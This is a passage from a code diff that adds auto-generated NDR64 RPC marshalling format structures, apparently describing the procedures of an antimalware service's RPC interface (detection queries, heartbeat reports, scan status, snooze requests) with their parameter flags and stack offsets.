*/, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1088_t __midl_frag1088 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag1087_t __midl_frag1087 = +{ +/* *wchar_t */ + { + /* *wchar_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 1 /* 0x1 */, + { + /* *wchar_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag1088 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag2219 + } +}; + +static const __midl_frag1086_t __midl_frag1086 = +{ +/* *wchar_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1087 +}; + +static const __midl_frag1082_t __midl_frag1082 = +{ +/* Proc114_ServerMpRpcRemapCallistoDetections */ + { + /* Proc114_ServerMpRpcRemapCallistoDetections */ /* procedure Proc114_ServerMpRpcRemapCallistoDetections */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1087, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1078_t __midl_frag1078 = +{ +/* *Struct_1872_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag664 +}; + +static const __midl_frag1077_t __midl_frag1077 = +{ +/* **Struct_1872_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1078 +}; + +static const __midl_frag1076_t __midl_frag1076 = +{ +/* Proc113_ServerMpRpcTriggerHeartbeatReport */ + { + /* Proc113_ServerMpRpcTriggerHeartbeatReport */ /* procedure Proc113_ServerMpRpcTriggerHeartbeatReport */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1077, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1065_t __midl_frag1065 = +{ +/* Proc112_ServerMpRpcTriggerErrorHeartbeatReport */ + { + /* Proc112_ServerMpRpcTriggerErrorHeartbeatReport */ /* procedure Proc112_ServerMpRpcTriggerErrorHeartbeatReport */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2364, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2364, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1061_t __midl_frag1061 = +{ +/* Proc111_ServerMpRpcTriggerHeartbeatOnUninstall */ + { + /* Proc111_ServerMpRpcTriggerHeartbeatOnUninstall */ /* procedure Proc111_ServerMpRpcTriggerHeartbeatOnUninstall */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1055_t __midl_frag1055 = +{ +/* Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable */ + { + /* Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable */ /* procedure Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1051_t __midl_frag1051 = +{ +/* Struct_2680_t */ + { + /* Struct_2680_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2680_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_2672_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1050_t __midl_frag1050 = +{ +/* *Struct_2680_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1051 +}; + +static const __midl_frag1049_t __midl_frag1049 = +{ +/* Proc109_ServerMpRpcOfflineScanStatusQuery */ + { + /* Proc109_ServerMpRpcOfflineScanStatusQuery */ /* procedure Proc109_ServerMpRpcOfflineScanStatusQuery */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1051, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1040_t __midl_frag1040 = +{ +/* Proc107_ServerMpRpcRequestSnooze */ + { + /* Proc107_ServerMpRpcRequestSnooze */ /* procedure Proc107_ServerMpRpcRequestSnooze */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1035_t __midl_frag1035 = +{ +/* **Struct_1232_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1100 +}; + +static const __midl_frag1032_t __midl_frag1032 = +{ +/* Proc106_ServerMpDetectionQuery */ + { + /* Proc106_ServerMpDetectionQuery */ /* procedure Proc106_ServerMpDetectionQuery */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 108 /* 0x6c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1035, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1028_t __midl_frag1028 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* **Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1025 + } +}; + +static const __midl_frag1026_t __midl_frag1026 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag1025_t __midl_frag1025 = +{ +/* **Struct_476_t */ + { + /* **Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1026 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1547 + } +}; + +static const __midl_frag1023_t __midl_frag1023 = +{ +/* Struct_2640_t */ + { + /* Struct_2640_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2640_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + &__midl_frag1028, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + 